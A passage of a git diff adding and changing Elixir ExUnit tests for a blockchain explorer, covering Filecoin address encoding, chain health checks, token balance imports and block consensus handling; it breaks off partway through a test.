b/apps/explorer/test/explorer/chain/filecoin/native_address_test.exs @@ -0,0 +1,211 @@ +defmodule Explorer.Chain.Filecoin.NativeAddressTest do + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :filecoin do + use ExUnit.Case, async: true + # TODO: remove when https://github.com/elixir-lang/elixir/issues/13975 comes to elixir release + alias Explorer.Chain.Hash, warn: false + alias Explorer.Chain.Filecoin.{NativeAddress, IDAddress} + + doctest NativeAddress + doctest IDAddress + + @doc """ + The following test cases are taken from the filecoin spec: + https://spec.filecoin.io/appendix/address/#section-appendix.address.test-vectors + + The key is the address and the value is the hex-encoded binary representation + of the address in the database. + """ + # cspell:disable + @test_cases %{ + "f00" => "0000", + "f0150" => "009601", + "f01024" => "008008", + "f01729" => "00c10d", + "f018446744073709551615" => "00ffffffffffffffffff01", + "f17uoq6tp427uzv7fztkbsnn64iwotfrristwpryy" => "01fd1d0f4dfcd7e99afcb99a8326b7dc459d32c628", + "f1xcbgdhkgkwht3hrrnui3jdopeejsoatkzmoltqy" => "01b882619d46558f3d9e316d11b48dcf211327026a", + "f1xtwapqc6nh4si2hcwpr3656iotzmlwumogqbuaa" => "01bcec07c05e69f92468e2b3e3bf77c874f2c5da8c", + "f1wbxhu3ypkuo6eyp6hjx6davuelxaxrvwb2kuwva" => "01b06e7a6f0f551de261fe3a6fe182b422ee0bc6b6", + "f12fiakbhe2gwd5cnmrenekasyn6v5tnaxaqizq6a" => "01d1500504e4d1ac3e89ac891a4502586fabd9b417", + "f24vg6ut43yw2h2jqydgbg2xq7x6f4kub3bg6as6i" => "02e54dea4f9bc5b47d261819826d5e1fbf8bc5503b", + "f25nml2cfbljvn4goqtclhifepvfnicv6g7mfmmvq" => "02eb58bd08a15a6ade19d0989674148fa95a8157c6", + "f2nuqrg7vuysaue2pistjjnt3fadsdzvyuatqtfei" => "026d21137eb4c4814269e894d296cf6500e43cd714", + "f24dd4ox4c2vpf5vk5wkadgyyn6qtuvgcpxxon64a" => "02e0c7c75f82d55e5ed55db28033630df4274a984f", + "f2gfvuyh7v2sx3patm5k23wdzmhyhtmqctasbr23y" => "02316b4c1ff5d4afb7826ceab5bb0f2c3e0f364053", + "f3vvmn62lofvhjd2ugzca6sof2j2ubwok6cj4xxbfzz4yuxfkgobpihhd2thlanmsh3w2ptld2gqkn2jvlss4a" => + "03ad58df696e2d4e91ea86c881e938ba4ea81b395e12797b84b9cf314b9546705e839c7a99d606b247ddb4f9ac7a3414dd", + "f3wmuu6crofhqmm3v4enos73okk2l366ck6yc4owxwbdtkmpk42ohkqxfitcpa57pjdcftql4tojda2poeruwa" => + "03b3294f0a2e29e0c66ebc235d2fedca5697bf784af605c75af608e6a63d5cd38ea85ca8989e0efde9188b382f9372460d", + "f3s2q2hzhkpiknjgmf4zq3ejab2rh62qbndueslmsdzervrhapxr7dftie4kpnpdiv2n6tvkr743ndhrsw6d3a" => + "0396a1a3e4ea7a14d49985e661b22401d44fed402d1d0925b243c923589c0fbc7e32cd04e29ed78d15d37d3aaa3fe6da33", + "f3q22fijmmlckhl56rn5nkyamkph3mcfu5ed6dheq53c244hfmnq2i7efdma3cj5voxenwiummf2ajlsbxc65a" => + "0386b454258c589475f7d16f5aac018a79f6c1169d20fc33921dd8b5ce1cac6c348f90a3603624f6aeb91b64518c2e8095", + "f3u5zgwa4ael3vuocgc5mfgygo4yuqocrntuuhcklf4xzg5tcaqwbyfabxetwtj4tsam3pbhnwghyhijr5mixa" => + "03a7726b038022f75a384617585360cee629070a2d9d28712965e5f26ecc40858382803724ed34f2720336f09db631f074" + } + + # cspell:enable + + describe "cast/1" do + test "parses f0, f1, f2, f3 addresses from spec test vectors" do + for {address, hex_string} <- @test_cases do + {protocol_indicator_hex, payload} = String.split_at(hex_string, 2) + protocol_indicator = String.to_integer(protocol_indicator_hex, 16) + payload = Base.decode16!(payload, case: :lower) + + assert {:ok, + %NativeAddress{ + protocol_indicator: ^protocol_indicator, + actor_id: nil, + payload: ^payload + }} = NativeAddress.cast(address) + end + end + + test "parses f4 addresses" do + address = "f410fabpafjfjgqkc3douo3yzfug5tq4bwfvuhsewxji" + {:ok, %Hash{bytes: eth_address_bytes}} = Hash.Address.cast("0x005E02A4A934142D8DD476F192D0DD9C381B16B4") + + assert {:ok, + %NativeAddress{ + protocol_indicator: 4, + actor_id: 10, + payload: ^eth_address_bytes + }} = NativeAddress.cast(address) + end + + test "parses 0x addresses" do + {:ok, %Hash{bytes: eth_address_bytes} = eth_address_hash} = + Hash.Address.cast("0x005E02A4A934142D8DD476F192D0DD9C381B16B4") + + assert {:ok, + %NativeAddress{ + protocol_indicator: 4, + actor_id: 10, + payload: ^eth_address_bytes + }} = NativeAddress.cast(eth_address_hash) + end + + test "parses 0x addresses and f410 addresses to matched representations" do + native_address_string = "f410fqo6xn6yojh2t4deb2izx7rmatbtgvfe2gaciifi" + {:ok, eth_address_hash} = Hash.Address.cast("0x83bD76FB0E49F53E0C81d2337FC58098666A949A") + + assert NativeAddress.cast(native_address_string) == NativeAddress.cast(eth_address_hash) + end + end + + describe "dump/1" do + test "encodes f0, f1, f2, f3 addresses to bytes" do + for {address, hex_string} <- @test_cases do + bytes = Base.decode16!(hex_string, case: :lower) + + assert {:ok, ^bytes} = + address + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + end + end + + test "converts f4 addresses" do + address = "f410fabpafjfjgqkc3douo3yzfug5tq4bwfvuhsewxji" + {:ok, evm_address} = Hash.Address.cast("0x005E02A4A934142D8DD476F192D0DD9C381B16B4") + bytes = <<4, 10, evm_address.bytes::binary>> + + assert {:ok, ^bytes} = + address + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + end + end + + describe "load/1" do + test "decodes f0, f1, f2, f3 addresses from bytes" do + for {address, hex_string} <- Map.values(@test_cases) do + {protocol_indicator_hex, payload_hex} = String.split_at(hex_string, 2) + protocol_indicator = String.to_integer(protocol_indicator_hex, 16) + payload = Base.decode16!(payload_hex, case: :lower) + + assert {:ok, + %NativeAddress{ + protocol_indicator: ^protocol_indicator, + actor_id: nil, + payload: ^payload + }} = + address + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + |> elem(1) + |> NativeAddress.load() + end + end + + test "decodes f4 addresses" do + address = "f410fabpafjfjgqkc3douo3yzfug5tq4bwfvuhsewxji" + {:ok, %Hash{bytes: payload}} = Hash.Address.cast("0x005E02A4A934142D8DD476F192D0DD9C381B16B4") + + assert {:ok, + %NativeAddress{ + protocol_indicator: 4, + actor_id: 10, + payload: ^payload + }} = + address + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + |> elem(1) + |> NativeAddress.load() + end + end + + describe "to_string/1" do + test "converts f0, f1, f2, f3 addresses to string" do + for {address, _} <- @test_cases do + assert ^address = + address + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + |> elem(1) + |> NativeAddress.load() + |> elem(1) + |> NativeAddress.to_string() + end + end + + test "converts f4 addresses to string" do + address = "f410fabpafjfjgqkc3douo3yzfug5tq4bwfvuhsewxji" + + assert ^address = + address + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + |> elem(1) + |> NativeAddress.load() + |> elem(1) + |> NativeAddress.to_string() + end + + test "converts ethereum addresses to string" do + {:ok, eth_address_hash} = Hash.Address.cast("0x83bD76FB0E49F53E0C81d2337FC58098666A949A") + address = "f410fqo6xn6yojh2t4deb2izx7rmatbtgvfe2gaciifi" + + assert ^address = + eth_address_hash + |> NativeAddress.cast() + |> elem(1) + |> NativeAddress.dump() + |> elem(1) + |> NativeAddress.load() + |> elem(1) + |> to_string() + end + end + end +end diff --git a/apps/explorer/test/explorer/chain/health/helper_test.exs b/apps/explorer/test/explorer/chain/health/helper_test.exs new file mode 100644 index 000000000000..a12e4f9026d0 --- /dev/null +++ b/apps/explorer/test/explorer/chain/health/helper_test.exs @@ -0,0 +1,44 @@ +defmodule Explorer.Chain.Health.HelperTest do + use Explorer.DataCase + alias Explorer.Chain.Health.Helper, as: HealthHelper + alias Explorer.Chain.Cache.Blocks + + setup do + Supervisor.terminate_child(Explorer.Supervisor, Blocks.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Blocks.child_id()) + + :ok + end + + describe "last_cache_block/0" do + test "returns {block_number, block_timestamp}" do + block = insert(:block, consensus: true) + + Blocks.update(block) + + assert {block.number, block.timestamp} == HealthHelper.last_cache_block() + end + + test "return nil, if no blocks in the DB" do + assert nil == HealthHelper.last_cache_block() + end + end + + describe "last_db_block_status/0" do + test "return no_blocks errors if db is empty" do + assert {:error, :no_blocks} = HealthHelper.last_db_block_status() + end + + test "returns {:ok, last_block_period} if block is in healthy period" do + insert(:block, consensus: true) + + assert {:ok, _, _} = HealthHelper.last_db_block_status() + end + + test "return {:stale, _, _} if block is not in healthy period" do + insert(:block, consensus: true, timestamp: Timex.shift(DateTime.utc_now(), hours: -50)) + + assert {:stale, _, _} = HealthHelper.last_db_block_status() + end + end +end diff --git a/apps/explorer/test/explorer/chain/import/runner/address/current_token_balances_test.exs b/apps/explorer/test/explorer/chain/import/runner/address/current_token_balances_test.exs index 7c34c72719cd..e61247b327e8 100644 --- a/apps/explorer/test/explorer/chain/import/runner/address/current_token_balances_test.exs +++ b/apps/explorer/test/explorer/chain/import/runner/address/current_token_balances_test.exs @@ -89,11 +89,32 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do value_5 = Decimal.new(2) token_id_5 = Decimal.new(555) + token_erc_404 = insert(:token, holder_count: 0) + token_erc_404_contract_address_hash = token_erc_404.contract_address_hash + value_6 = Decimal.new(10) + token_id_6 = Decimal.new(333) + + value_7 = Decimal.new(25) + block_number = 1 assert {:ok, %{ address_current_token_balances: [ + %Explorer.Chain.Address.CurrentTokenBalance{ + address_hash: ^address_hash, + block_number: ^block_number, + token_contract_address_hash: ^token_contract_address_hash, + value: ^value_1, + token_id: ^token_id_1 + }, + %Explorer.Chain.Address.CurrentTokenBalance{ + address_hash: ^address_hash, + block_number: ^block_number, + token_contract_address_hash: ^token_contract_address_hash, + value: ^value_2, + token_id: ^token_id_2 + }, %Explorer.Chain.Address.CurrentTokenBalance{ address_hash: ^address_hash, block_number: ^block_number, @@ -111,16 +132,16 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do %Explorer.Chain.Address.CurrentTokenBalance{ address_hash: ^address_hash, block_number: ^block_number, - token_contract_address_hash: ^token_contract_address_hash, - value: ^value_1, - token_id: ^token_id_1 + token_contract_address_hash: ^token_erc_404_contract_address_hash, + value: ^value_7, + token_id: nil }, %Explorer.Chain.Address.CurrentTokenBalance{ address_hash: ^address_hash, block_number: ^block_number, - token_contract_address_hash: ^token_contract_address_hash, - value: ^value_2, - token_id: ^token_id_2 + token_contract_address_hash: ^token_erc_404_contract_address_hash, + value: ^value_6, + token_id: ^token_id_6 } ], address_current_token_balances_update_token_holder_counts: [ @@ -135,6 +156,10 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do %{ contract_address_hash: ^token_erc_721_contract_address_hash, holder_count: 1 + }, + %{ + contract_address_hash: ^token_erc_404_contract_address_hash, + holder_count: 2 } ] }} = @@ -172,7 +197,7 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do block_number: block_number, token_contract_address_hash: token_erc_721.contract_address_hash, value: value_4, - value_fetched_at: DateTime.utc_now(), + value_fetched_at: DateTime.add(DateTime.utc_now(), -1), token_id: token_id_4, token_type: "ERC-721" }, @@ -184,6 +209,24 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do value_fetched_at: DateTime.utc_now(), token_id: token_id_5, token_type: "ERC-721" + }, + %{ + address_hash: address_hash, + block_number: block_number, + token_contract_address_hash: token_erc_404_contract_address_hash, + value: value_6, + value_fetched_at: DateTime.utc_now(), + token_id: token_id_6, + token_type: "ERC-404" + }, + %{ + address_hash: address_hash, + block_number: block_number, + token_contract_address_hash: token_erc_404_contract_address_hash, + value: value_7, + value_fetched_at: DateTime.utc_now(), + token_id: nil, + token_type: "ERC-404" } ], options @@ -197,7 +240,7 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do current_token_balances |> Enum.count() - assert current_token_balances_count == 4 + assert current_token_balances_count == 6 end test "updates when the new block number is greater", %{ @@ -218,7 +261,42 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do address_hash: address.hash, block_number: 2, token_contract_address_hash: token.contract_address_hash, - value: Decimal.new(200) + value: Decimal.new(200), + value_fetched_at: DateTime.utc_now() + }, + options + ) + + current_token_balance = Repo.get_by(CurrentTokenBalance, address_hash: address.hash) + + assert current_token_balance.block_number == 2 + assert current_token_balance.value == Decimal.new(200) + end + + test "updates NFT when the new block number is greater", %{ + address: address, + token: token, + options: options + } do + insert( + :address_current_token_balance, + address: address, + block_number: 1, + token_contract_address_hash: token.contract_address_hash, + token_id: 123, + token_type: "ERC-1155", + value: 100 + ) + + run_changes( + %{ + address_hash: address.hash, + block_number: 2, + token_contract_address_hash: token.contract_address_hash, + token_id: 123, + token_type: "ERC-1155", + value: Decimal.new(200), + value_fetched_at: DateTime.utc_now() }, options ) @@ -229,6 +307,39 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do assert current_token_balance.value == Decimal.new(200) end + test "ignores when the new value_fetched_at not set", %{ + address: %Address{hash: address_hash} = address, + token: %Token{contract_address_hash: token_contract_address_hash}, + options: options + } do + insert( + :address_current_token_balance, + address: address, + block_number: 1, + token_contract_address_hash: token_contract_address_hash, + value: 200, + value_fetched_at: Timex.shift(Timex.now(), minutes: -2) + ) + + update_holder_count!(token_contract_address_hash, 1) + + assert {:ok, %{address_current_token_balances: [], address_current_token_balances_update_token_holder_counts: []}} = + run_changes( + %{ + address_hash: address_hash, + token_contract_address_hash: token_contract_address_hash, + block_number: 2, + value: Decimal.new(100) + }, + options + ) + + current_token_balance = Repo.get_by(CurrentTokenBalance, address_hash: address_hash) + + assert current_token_balance.block_number == 1 + assert current_token_balance.value == Decimal.new(200) + end + test "ignores when the new block number is lesser", %{ address: %Address{hash: address_hash} = address, token: %Token{contract_address_hash: token_contract_address_hash}, @@ -239,7 +350,8 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do address: address, block_number: 2, token_contract_address_hash: token_contract_address_hash, - value: 200 + value: 200, + value_fetched_at: Timex.shift(Timex.now(), minutes: -2) ) update_holder_count!(token_contract_address_hash, 1) @@ -250,7 +362,8 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do address_hash: address_hash, token_contract_address_hash: token_contract_address_hash, block_number: 1, - value: Decimal.new(100) + value: Decimal.new(100), + value_fetched_at: Timex.shift(Timex.now(), minutes: -1) }, options ) @@ -261,6 +374,45 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do assert current_token_balance.value == Decimal.new(200) end + test "ignores when the new value_fetched_at is lower (values compared correctly)", %{ + address: %Address{hash: address_hash} = address, + token: %Token{contract_address_hash: token_contract_address_hash}, + options: options + } do + time_before = ~U[2024-12-31 00:00:00.000000Z] + time_after = ~U[2025-01-01 00:00:00.000000Z] + + assert time_before > time_after + + insert( + :address_current_token_balance, + address: address, + block_number: 1, + token_contract_address_hash: token_contract_address_hash, + value: 200, + value_fetched_at: time_after + ) + + update_holder_count!(token_contract_address_hash, 1) + + assert {:ok, %{address_current_token_balances: [], address_current_token_balances_update_token_holder_counts: []}} = + run_changes( + %{ + address_hash: address_hash, + token_contract_address_hash: token_contract_address_hash, + block_number: 1, + value: Decimal.new(100), + value_fetched_at: time_before + }, + options + ) + + current_token_balance = Repo.get_by(CurrentTokenBalance, address_hash: address_hash) + + assert Decimal.eq?(current_token_balance.value, 200) + assert Timex.equal?(current_token_balance.value_fetched_at, time_after) + end + test "a non-holder updating to a holder increases the holder_count", %{ address: %Address{hash: address_hash} = address, token: %Token{contract_address_hash: token_contract_address_hash}, @@ -300,7 +452,8 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do address_hash: address_hash, token_contract_address_hash: token_contract_address_hash, block_number: block_number, - value: value + value: value, + value_fetched_at: DateTime.utc_now() }, options ) @@ -344,7 +497,8 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do address_hash: address_hash, token_contract_address_hash: token_contract_address_hash, block_number: block_number, - value: value + value: value, + value_fetched_at: DateTime.utc_now() }, options ) @@ -404,13 +558,15 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalancesTest do address_hash: non_holder_becomes_holder_address_hash, token_contract_address_hash: token_contract_address_hash, block_number: block_number, - value: non_holder_becomes_holder_value + value: non_holder_becomes_holder_value, + value_fetched_at: DateTime.utc_now() }, %{ address_hash: holder_becomes_non_holder_address_hash, token_contract_address_hash: token_contract_address_hash, block_number: block_number, - value: holder_becomes_non_holder_value + value: holder_becomes_non_holder_value, + value_fetched_at: DateTime.utc_now() } ], options diff --git a/apps/explorer/test/explorer/chain/import/runner/address/token_balances_test.exs b/apps/explorer/test/explorer/chain/import/runner/address/token_balances_test.exs index f44b6bca792f..4d7f24eec8d0 100644 --- a/apps/explorer/test/explorer/chain/import/runner/address/token_balances_test.exs +++ b/apps/explorer/test/explorer/chain/import/runner/address/token_balances_test.exs @@ -41,6 +41,7 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalancesTest do address_hash: ^address_hash, block_number: ^block_number, token_contract_address_hash: ^token_contract_address_hash, + token_id: nil, value: ^value, value_fetched_at: ^value_fetched_at } @@ -83,6 +84,7 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalancesTest do address_hash: address_hash, block_number: ^block_number, token_contract_address_hash: ^token_contract_address_hash, + token_id: nil, value: nil, value_fetched_at: ^value_fetched_at } @@ -153,6 +155,112 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalancesTest do run_changes(new_changes, options) end + test "set value_fetched_at to null for existing record if incoming data has this field empty" do + address = insert(:address) + token = insert(:token) + + options = %{ + timeout: :infinity, + timestamps: %{inserted_at: DateTime.utc_now(), updated_at: DateTime.utc_now()} + } + + block_number = 1 + + value = Decimal.new(100) + value_fetched_at = DateTime.utc_now() + + token_contract_address_hash = token.contract_address_hash + address_hash = address.hash + + first_changes = %{ + address_hash: address_hash, + block_number: block_number, + token_contract_address_hash: token_contract_address_hash, + token_id: 11, + token_type: "ERC-721", + value: value, + value_fetched_at: value_fetched_at + } + + assert {:ok, + %{ + address_token_balances: [ + %TokenBalance{ + address_hash: address_hash, + block_number: ^block_number, + token_contract_address_hash: ^token_contract_address_hash, + token_id: nil, + value: ^value, + value_fetched_at: ^value_fetched_at + } + ] + }} = run_changes(first_changes, options) + + second_changes = %{ + address_hash: address_hash, + block_number: block_number, + token_contract_address_hash: token_contract_address_hash, + token_id: 12, + token_type: "ERC-721" + } + + assert {:ok, + %{ + address_token_balances: [ + %TokenBalance{ + address_hash: ^address_hash, + block_number: ^block_number, + token_contract_address_hash: ^token_contract_address_hash, + token_id: nil, + value: ^value, + value_fetched_at: nil + } + ] + }} = run_changes(second_changes, options) + end + + test "filters out changes with tokens that doesn't implement balanceOf function" do + address = insert(:address) + token = insert(:token) + + options = %{ + timeout: :infinity, + timestamps: %{inserted_at: DateTime.utc_now(), updated_at: DateTime.utc_now()} + } + + block_number = 1 + next_block_number = block_number + 1 + token_contract_address_hash = token.contract_address_hash + + insert(:missing_balance_of_token, + token_contract_address_hash: token_contract_address_hash, + block_number: block_number, + currently_implemented: true + ) + + address_hash = address.hash + + changes_list = [ + %{ + address_hash: address_hash, + block_number: block_number, + token_contract_address_hash: token_contract_address_hash, + token_id: 11, + token_type: "ERC-721" + }, + %{ + address_hash: address_hash, + block_number: next_block_number, + token_contract_address_hash: token_contract_address_hash, + token_id: 12, + token_type: "ERC-721" + } + ] + + assert {:ok, %{address_token_balances: [%{block_number: ^next_block_number}]}} = + run_changes_list(changes_list, options) + end + defp run_changes(changes, options) when is_map(changes) do run_changes_list([changes], options) end diff --git a/apps/explorer/test/explorer/chain/import/runner/blocks_test.exs b/apps/explorer/test/explorer/chain/import/runner/blocks_test.exs index 15e2165737f7..b24ea5623968 100644 --- a/apps/explorer/test/explorer/chain/import/runner/blocks_test.exs +++ b/apps/explorer/test/explorer/chain/import/runner/blocks_test.exs @@ -1,5 +1,6 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do use Explorer.DataCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] import Ecto.Query, only: [from: 2, select: 2, where: 2] @@ -7,8 +8,9 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do alias Ecto.Multi alias Explorer.Chain.Import.Runner.{Blocks, Transactions} - alias Explorer.Chain.{Address, Block, Transaction} + alias Explorer.Chain.{Address, Block, Transaction, PendingBlockOperation} alias Explorer.{Chain, Repo} + alias Explorer.Utility.MissingBlockRange describe "run/1" do setup do @@ -82,6 +84,61 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do "Tuple was written even though it is not distinct" end + test "coin balances are deleted and new balances are derived if some blocks lost consensus", + %{consensus_block: %{number: block_number} = block, options: options} do + %{hash: address_hash} = address = insert(:address, fetched_coin_balance_block_number: block_number) + + prev_block_number = block_number - 1 + + insert(:address_coin_balance, address: address, block_number: block_number) + %{value: prev_value} = insert(:address_coin_balance, address: address, block_number: prev_block_number) + + assert count(Address.CoinBalance) == 2 + + insert(:block, number: block_number, consensus: true) + + assert {:ok, + %{ + delete_address_coin_balances: [{^address_hash, ^block_number}], + derive_address_fetched_coin_balances: [ + %{ + hash: ^address_hash, + fetched_coin_balance: ^prev_value, + fetched_coin_balance_block_number: ^prev_block_number + } + ] + }} = run_block_consensus_change(block, true, options) + + assert %{value: ^prev_value, block_number: ^prev_block_number} = Repo.one(Address.CoinBalance) + end + + test "derive_address_fetched_coin_balances only updates addresses if its fetched_coin_balance_block_number lost consensus", + %{consensus_block: %{number: block_number} = block, options: options} do + %{hash: address_hash} = address = insert(:address, fetched_coin_balance_block_number: block_number) + address_1 = insert(:address, fetched_coin_balance_block_number: block_number + 2) + + prev_block_number = block_number - 1 + + insert(:address_coin_balance, address: address, block_number: block_number) + %{value: prev_value} = insert(:address_coin_balance, address: address, block_number: prev_block_number) + + insert(:address_coin_balance, address: address_1, block_number: block_number + 2) + + insert(:block, number: block_number, consensus: true) + + assert {:ok, + %{ + delete_address_coin_balances: [{^address_hash, ^block_number}], + derive_address_fetched_coin_balances: [ + %{ + hash: ^address_hash, + fetched_coin_balance: ^prev_value, + fetched_coin_balance_block_number: ^prev_block_number + } + ] + }} = run_block_consensus_change(block, true, options) + end + test "delete_address_current_token_balances deletes rows with matching block number when consensus is true", %{consensus_block: %{number: block_number} = block, options: options} do %Address.CurrentTokenBalance{address_hash: address_hash, token_contract_address_hash: token_contract_address_hash} = @@ -89,6 +146,8 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do assert count(Address.CurrentTokenBalance) == 1 + insert(:block, number: block_number, consensus: true) + assert {:ok, %{ delete_address_current_token_balances: [ @@ -135,6 +194,8 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do previous_block_number = block_number - 1 + insert(:block, number: block_number, consensus: true) + assert {:ok, %{ delete_address_current_token_balances: [ @@ -186,6 +247,8 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do # Token must exist with non-`nil` `holder_count` for `blocks_update_token_holder_counts` to update update_holder_count!(token_contract_address_hash, 0) + insert(:block, number: block_number, consensus: true) + block_params = params_for(:block, hash: block_hash, miner_hash: miner_hash, number: block_number, consensus: true) %Ecto.Changeset{valid?: true, changes: block_changes} = Block.changeset(%Block{}, block_params) @@ -218,6 +281,8 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do # Token must exist with non-`nil` `holder_count` for `blocks_update_token_holder_counts` to update update_holder_count!(token_contract_address_hash, 1) + insert(:block, number: block_number, consensus: true) + block_params = params_for(:block, hash: block_hash, miner_hash: miner_hash, number: block_number, consensus: true) %Ecto.Changeset{valid?: true, changes: block_changes} = Block.changeset(%Block{}, block_params) @@ -263,7 +328,7 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do end # Regression test for https://github.com/poanetwork/blockscout/issues/1644 - test "discards neighbouring blocks if they aren't related to the current one because of reorg and/or import timeout", + test "discards neighboring blocks if they aren't related to the current one because of reorg and/or import timeout", %{consensus_block: %{number: block_number, hash: block_hash, miner_hash: miner_hash}, options: options} do insert(:block, %{number: block_number, hash: block_hash}) old_block1 = params_for(:block, miner_hash: miner_hash, parent_hash: block_hash, number: block_number + 1) @@ -324,6 +389,400 @@ defmodule Explorer.Chain.Import.Runner.BlocksTest do assert {:ok, %{blocks: [%{hash: _block_hash, consensus: true}]}} = result end + + test "inserts missing ranges if there are blocks that lost consensus", + %{consensus_block: %{number: block_number} = block, options: options} do + block1 = params_for(:block, consensus: true, miner_hash: insert(:address).hash) + + block2 = + params_for(:block, + consensus: true, + miner_hash: insert(:address).hash, + parent_hash: block1.hash, + number: block.number + 1 + ) + + insert_block(block, options) + insert_block(block2, options) + + Process.sleep(100) + + assert %{from_number: ^block_number, to_number: ^block_number} = Repo.one(MissingBlockRange) + end + + test "inserts pending_block_operations only for consensus blocks", + %{consensus_block: %{miner_hash: miner_hash}, options: options} do + %{number: number, hash: hash} = new_block = params_for(:block, miner_hash: miner_hash, consensus: true) + new_block1 = params_for(:block, miner_hash: miner_hash, consensus: false) + + %Ecto.Changeset{valid?: true, changes: block_changes} = Block.changeset(%Block{}, new_block) + %Ecto.Changeset{valid?: true, changes: block_changes1} = Block.changeset(%Block{}, new_block1) + + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + + Multi.new() + |> Blocks.run([block_changes, block_changes1], options) + |> Repo.transaction() + + assert %{block_number: ^number, block_hash: ^hash} = Repo.one(PendingBlockOperation) + end + + test "inserts pending_block_operations only for actually inserted blocks", + %{consensus_block: %{miner_hash: miner_hash}, options: options} do + %{number: number, hash: hash} = new_block = params_for(:block, miner_hash: miner_hash, consensus: true) + new_block1 = params_for(:block, miner_hash: miner_hash, consensus: true) + + miner = Repo.get_by(Address, hash: miner_hash) + + insert(:block, Map.put(new_block1, :miner, miner)) + + %Ecto.Changeset{valid?: true, changes: block_changes} = Block.changeset(%Block{}, new_block) + %Ecto.Changeset{valid?: true, changes: block_changes1} = Block.changeset(%Block{}, new_block1) + + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + + Multi.new() + |> Blocks.run([block_changes, block_changes1], options) + |> Repo.transaction() + + assert %{block_number: ^number, block_hash: ^hash} = Repo.one(PendingBlockOperation) + end + + test "change instance owner if was token transfer in older blocks", + %{consensus_block: %{hash: block_hash, miner_hash: miner_hash, number: block_number}, options: options} do + block_number = block_number + 2 + consensus_block = insert(:block, %{hash: block_hash, number: block_number}) + + transaction = + :transaction + |> insert() + |> with_block(consensus_block) + + token_address = insert(:contract_address) + insert(:token, contract_address: token_address, type: "ERC-721") + id = Decimal.new(1) + + tt = + insert(:token_transfer, + token_ids: [id], + token_type: "ERC-721", + transaction: transaction, + token_contract_address: token_address, + block_number: block_number, + block: consensus_block, + log_index: 123 + ) + + %{hash: hash_1} = params_for(:block, consensus: true, miner_hash: miner_hash) + consensus_block_1 = insert(:block, %{hash: hash_1, number: block_number - 1}) + + transaction = + :transaction + |> insert() + |> with_block(consensus_block_1) + + for _ <- 0..10 do + insert(:token_transfer, + token_ids: [id], + token_type: "ERC-721", + transaction: transaction, + token_contract_address: tt.token_contract_address, + block_number: consensus_block_1.number, + block: consensus_block_1 + ) + end + + tt_1 = + insert(:token_transfer, + token_ids: [id], + token_type: "ERC-721", + transaction: transaction, + token_contract_address: tt.token_contract_address, + block_number: consensus_block_1.number, + block: consensus_block_1 + ) + + %{hash: hash_2} = params_for(:block, consensus: true, miner_hash: miner_hash) + consensus_block_2 = insert(:block, %{hash: hash_2, number: block_number - 2}) + + for _ <- 0..10 do + transaction = + :transaction + |> insert() + |> with_block(consensus_block_2) + + insert(:token_transfer, + token_ids: [id], + token_type: "ERC-721", + transaction: transaction, + token_contract_address: tt.token_contract_address, + block_number: consensus_block_2.number, + block: consensus_block_2 + ) + end + + instance = + insert(:token_instance, + token_contract_address_hash: token_address.hash, + token_id: id, + owner_updated_at_block: tt.block_number, + owner_updated_at_log_index: tt.log_index, + owner_address_hash: insert(:address).hash + ) + + block_params = + params_for(:block, hash: block_hash, miner_hash: miner_hash, number: block_number, consensus: false) + + %Ecto.Changeset{valid?: true, changes: block_changes} = Block.changeset(%Block{}, block_params) + changes_list = [block_changes] + error = instance.error + block_number = tt_1.block_number + log_index = tt_1.log_index + owner_address_hash = tt_1.to_address_hash + token_address_hash = token_address.hash + + assert {:ok, + %{ + update_token_instances_owner: [ + %Explorer.Chain.Token.Instance{ + token_id: ^id, + error: ^error, + owner_updated_at_block: ^block_number, + owner_updated_at_log_index: ^log_index, + owner_address_hash: ^owner_address_hash, + token_contract_address_hash: ^token_address_hash + } + ] + }} = Multi.new() |> Blocks.run(changes_list, options) |> Repo.transaction() + end + + test "change instance owner if there was no more token transfers", + %{consensus_block: %{hash: 